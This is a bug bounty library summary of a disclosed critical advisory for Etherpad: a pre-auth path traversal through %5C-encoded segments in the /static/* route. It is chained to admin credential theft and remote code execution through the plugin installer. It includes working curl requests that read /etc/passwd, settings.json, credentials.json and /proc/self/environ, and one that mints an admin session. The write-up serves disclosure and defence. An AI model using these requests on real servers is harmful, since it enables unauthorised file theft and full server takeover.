# Etherpad: Pre-auth arbitrary file read

Etherpad's pre-auth /static/* handler re-converts backslashes to slashes after sanitization on Linux, letting unauthenticated attackers read any file and escalate to RCE via admin credentials.

- Payout: Research
- Severity: critical
- Program: Etherpad
- Found by: gcm-explo1t
- Disclosed: 2026-11-20
- CVE: CVE-2026-114516
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-mc8w-wjhw-45x5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mc8w-wjhw-45x5
- Tags: area:web domain:web impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:auth-bypass vuln:path-traversal

**Target:** Express /static/* file-serving route (Minify.ts)
**Root cause:** sanitizePathname only converts backslashes to slashes on Windows, but Minify.ts unconditionally does the same conversion after sanitization, turning '..\' segments into real '../' on POSIX with no re-normalization or containment check.
**Steps:**
1. Send `curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'` unauthenticated; response returns /etc/passwd bytes.
2. Read secrets via `/proc/self/cwd`: `curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'` (and credentials.json).
3. On docker-compose, read env secrets: `curl --path-as-is '.../..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'`.
4. Mint admin session: `curl -i -X POST 'http://TARGET:9001/admin-auth/' -H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"` to get express_sid cookie.
5. With express_sid, connect to /pluginfw/installer Socket.IO namespace and emit install for attacker-controlled ep_* plugin; plugins.update() require()s it in-process.
**How found:** Code reading of sanitizePathname.ts revealed the backslash-to-slash conversion is Windows-only by design (with a comment warning it must not run on POSIX), while Minify.ts performs the same conversion unconditionally after sanitization, justified by a comment falsely asserting '..\' was already removed. The project's own test listing ['posix', '..\foo'] as accepted confirmed the sanitizer passes backslash segments through.
**Exploitation:** Unauthenticated GET to /static/plugins/ep_etherpad-lite/static/ with %5C-encoded traversal reads arbitrary files. Disclosed settings.json/credentials.json or /proc/self/environ yield the admin password; Basic auth to /admin-auth/ mints an admin express_sid; the admin plugin installer Socket.IO namespace then installs a malicious ep_* plugin that is require()d in-process, achieving RCE as the Etherpad user.
**Escalation:** File read -> admin credential disclosure -> admin session -> plugin installer -> in-process code execution (full server takeover); admin also permits saveSettings + restartServer config rewrite and full data exfiltration.
**Insight:** When a sanitizer and its consumer both normalize separators, check whether each guards on platform: a Windows-only transform duplicated unconditionally downstream reintroduces traversal on POSIX. Also note Express 5 decodes wildcard params per-segment once, so %5C survives as a separator while %2F is re-split and rejected.

## Proof of concept (copied exactly from the original report)

**curl request reading /etc/passwd via %5C traversal**

```
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'
```

**curl reads settings.json and credentials.json via /proc/self/cwd**

```
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'
```

**Admin session minting via Basic auth POST**

```
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...
```

